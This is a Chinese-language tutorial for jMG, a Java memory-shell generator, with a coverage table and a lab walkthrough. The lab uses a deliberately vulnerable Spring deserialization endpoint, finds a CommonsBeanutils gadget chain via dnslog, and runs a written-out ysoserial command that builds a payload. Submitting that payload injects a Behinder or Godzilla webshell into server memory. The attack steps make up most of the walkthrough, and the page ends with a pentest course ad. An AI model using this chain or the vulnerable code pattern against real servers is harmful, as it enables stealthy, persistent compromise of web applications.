一、简介
jMG (Java Memshell Generator) 是一款支持高度自定义的 java 内存马生成工具,可作为 woodpecker 的插件使用,提供常见中间件的内存马注入支持。
功能介绍
- 支持的中间件 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/Spring)
- 支持的网站管理工具 (Behinder/Godzilla/Custom)
- 支持的内存马类型 (Filter/Listener/Interceptor)
- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
- 支持的辅助模块 (探测目标中间件/序列化数据封装)
模块划分
- 内存马生成模块
-
- Behinder、Godzilla
- Custom
-
-
- 注入自定义的Filter和Listener,常见场景:其他网站管理工具的服务端、内存代理、内存水坑等
-
- 辅助模块
-
- ServerType Detector 中间件探测器
-
-
- 探测中间件信息,常见场景:SpringBoot Fatjar
- 提供 4 种方式判断目标中间件 (DFSEcho/Sleep/DNSLog/HTTPLog)
-
-
- Ysoserial Payload Generator
-
-
- 基于 ysoserial-for-woodpecker 对反序列化漏洞利用提供支持、提高漏洞利用效率
-
参数说明
参数名称 | 参数说明 | 其他 |
server_type | 选择中间件的类型 |
|
shell_type | 选择内存马的类型 |
|
gadget_type | 选择利用链的类型 | 根据gadget自动完成对class的特殊处理,如继承类、实现接口、添加注解 |
format_type | 输出格式 |
|
更多参数 - 参数自定义
从 github 仓库下载 jMG.jar
并放在 woodpecker 的 plugin 子目录下即可
下载的地址 https://github.com/pen4uin/java-memshell-generator/
二.中间件覆盖情况
| godzilla-listener | godzilla-filter | behinder-listener | behinder-filter |
tomcat 9.0.39 | ✅ | ✅ | ✅ | ✅ |
tomcat 8.5.53 | ✅ | ✅ | ✅ | ✅ |
tomcat 7.0.59 | ✅ | ✅ | ✅ | ✅ |
tomcat 6.0.48 | ✅ | ✅ | ✅ | ✅ |
tomcat 5.5.36 | ✅ | ✅ | ✅ | ✅ |
jetty 9.4.43 | ✅ | ✅ | ✅ | ✅ |
jetty 8.2.0 | ✅ | ✅ | ✅ | ✅ |
jetty 7.6.0 | ✅ | ✅ | ✅ | ✅ |
resin 4.0.66 | ✅ | ✅ | ✅ | ✅ |
resin 3.1.15 | ✅ | ✅ | ❌ | ✅ |
weblogic 10.3.6 | ✅ | ✅ | ✅ | ✅ |
weblogic 12.1.3 | ✅ | ✅ | ✅ | ✅ |
websphere 8.5.5 | ✅ | ✅ | ❌ | ✅ |
websphere 9.0.0 | ✅ | ✅ | ❌ | ✅ |
注:以上测试结果仅供参考
三、单独使用工具
也可以直接使用这个工具
使用jdk8打开工具
"C:\Program Files\Java\jdk1.8.0_202\bin\java.exe" -jar jmg-all-1.0.9_250101.jar gui
四、注入内存马
1.启动靶场 这份代码存在反序列化漏洞
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.ObjectInputStream;
@Controller
public class Deserilizer {
@ResponseBody
@RequestMapping("/deser")
public String deser(HttpServletRequest request) throws Exception {
try {
new ObjectInputStream(request.getInputStream()).readObject();
return "Deserilizer successful";
}catch(Exception e) {
return "Deserilizer failed"+e.getMessage();
}
}
}
2.检测利用链
使用yakit的检测反序列化利用链
查看dnslog存在的 CommonsBeanutils1_183 链子
使用jmg生成内存马
请把jdk_abstractranslet勾上
接着使用 ysoserial-for-woodpecker-0.5.2.jar 反序列化利用利用生成payload
下载地址 https://github.com/woodpecker-framework/ysoserial-for-woodpecker
java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsBeanutils2_183 -a "class_file:C:\Users\moon\Documents\SerializationUtil.class" >ser.bin
使用yakit将生成的ser.bin进行提交
使用Behinder链接 填写对应的连接密码和信息
下载地址 https://github.com/rebeyond/Behinder/
连接成功
参考文章
https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg
想系统学习渗透测试?扫码报名培训课程!